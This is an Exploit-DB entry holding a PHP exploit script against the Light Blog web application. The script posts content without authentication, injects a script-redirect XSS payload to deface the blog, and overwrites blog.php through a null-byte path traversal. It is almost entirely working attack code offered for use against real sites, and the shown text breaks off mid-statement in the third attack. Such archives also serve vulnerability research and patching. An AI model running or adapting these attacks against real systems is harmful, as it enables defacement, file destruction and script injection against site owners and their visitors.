Exploit-DB #2658
Description: Light Blog Remote - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2006-10-27
Author: BlackHawk

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "\r\n";
echo "Light Blog Multiple Vulnerabilities Exploit\r\n";
echo "by BlackHawk <hawkgotyou@gmail.com>\r\n";
echo "Thanks to rgod for the php code and Marty for the Love\r\n\r\n";
if ($argc<4) {
echo "Usage: php ".$argv[0]." Site Path AttackType Related\r\n";
echo "Host:             target server (ip/hostname)\r\n";
echo "Path:             path to LightBlog\r\n";
echo "AttackType:       1 - Create New Post (Title must be of one word)\r\n";
echo "            |-> Related: Title Post\r\n";
echo "            |-> Es: php ".$argv[0]." localhost /blog/ 1 Hacked I Got You\r\n\r\n";
echo "          2 - Deface Blog (With XSS)\r\n";
echo "            |-> Related: WebPage\r\n";
echo "            |-> Es: php ".$argv[0]." localhost /blog/ 2 http://site.com/\r\n\r\n";
echo "          3 - Deface Blog (Deleting blog.php)\r\n";
echo "            |-> Related: NickName\r\n";
echo "            |-> Es: php ".$argv[0]." localhost /blog/ 3 BlackHawk\r\n\r\n";
echo "";
echo "\r\n";
echo "";
die;
}

/*
There are some critical vulnerabilities in this quite simple Blog Engine..

1 - You do not need to know the right password to send a new Post (no cecking);
2 - You can erase (even with mq=on) all file that are stored on the server:

[...]
$t = stripslashes($t);
[...]
$fc = fopen ("blog_comments/$t.txt", "w");
fwrite ($fc, "");
[...]

3-Using point No 1 you can do some XSS couse there isn't any anti-Xss code for admins
4-If mq=on than you can deface the site (but no injecting PHP cause < and > are properly parsed)

sorry for my bad english,

BlackHawk hawkgotyou@gmail.com
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
 $result='';$exa='';$cont=0;
 for ($i=0; $i<=strlen($string)-1; $i++)
 {
  if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  {$result.="  .";}
  else
  {$result.="  ".$string[$i];}
  if (strlen(dechex(ord($string[$i])))==2)
  {$exa.=" ".dechex(ord($string[$i]));}
  else
  {$exa.=" 0".dechex(ord($string[$i]));}
  $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
 }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
 global $proxy, $host, $port, $html, $proxy_regex;
 if ($proxy=='') {
   $ock=fsockopen(gethostbyname($host),$port);
   if (!$ock) {
     echo 'No response from '.$host.':'.$port; die;
   }
 }
 else {
       $c = preg_match($proxy_regex,$proxy);
   if (!$c) {
     echo 'Not a valid proxy...';die;
   }
   $parts=explode(':',$proxy);
   echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
   $ock=fsockopen($parts[0],$parts[1]);
   if (!$ock) {
     echo 'No response from proxy...';die;
       }
 }
 fputs($ock,$packet);
 if ($proxy=='') {
   $html='';
   while (!feof($ock)) {
     $html.=fgets($ock);
   }
 }
 else {
   $html='';
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
     $html.=fread($ock,1);
   }
 }
 fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$attack_type=$argv[3];
$port=80;
$proxy="";


if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

switch($attack_type)
{
case 1: //Insert New Post
$title=$argv[4];
$message="";
for ($i=5; $i<=$argc-1; $i++){
$message.=" ".$argv[$i];
}
$title=urlencode($title);
$message=urlencode($message);
echo "Attack No 1 - Sending New Post..\r\n";
$data="t=$title";
$data.="&c=$message";
$data.="&Submit=Post";
$packet="POST ".$p."LightBlog/blog_script.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."/blog.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "Ok, Post Sent";
break;

case 2: // Deface With XSS
$dfc_url=$argv[4];
$deface_url=urlencode("<script>window.location=('$dfc_url')</script>");
echo "Attack No 2 - Sending New Post With XSS..\r\n";
$data="t=$deface_url";
$data.="&c=msg";
$data.="&Submit=Post";
$packet="POST ".$p."LightBlog/blog_script.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."/blog.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "Ok, Post Sent";
break;

break;
case 3: // Defacing the original blog.php file
$nickname=$argv[4];
$packet ="GET ".$p."LightBlog/blog_comments.php?comment=Comment&title=title HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("name=\"rand\" id=\"rand\" value=\"",$html);
$temp2=explode("\"></input>",$temp[1]);
$random_code = $temp2[0];
$temp=explode("name=\"rand\" id=\"rand\" value=\"$random_code\"></input>",$html);
$temp2=explode(" ",$temp[1]);
$small_code = $temp2[0];


$data="t=../../blog.php%00";
$data.="&c=ciao";
$data.="&Submit=Post";
$packet=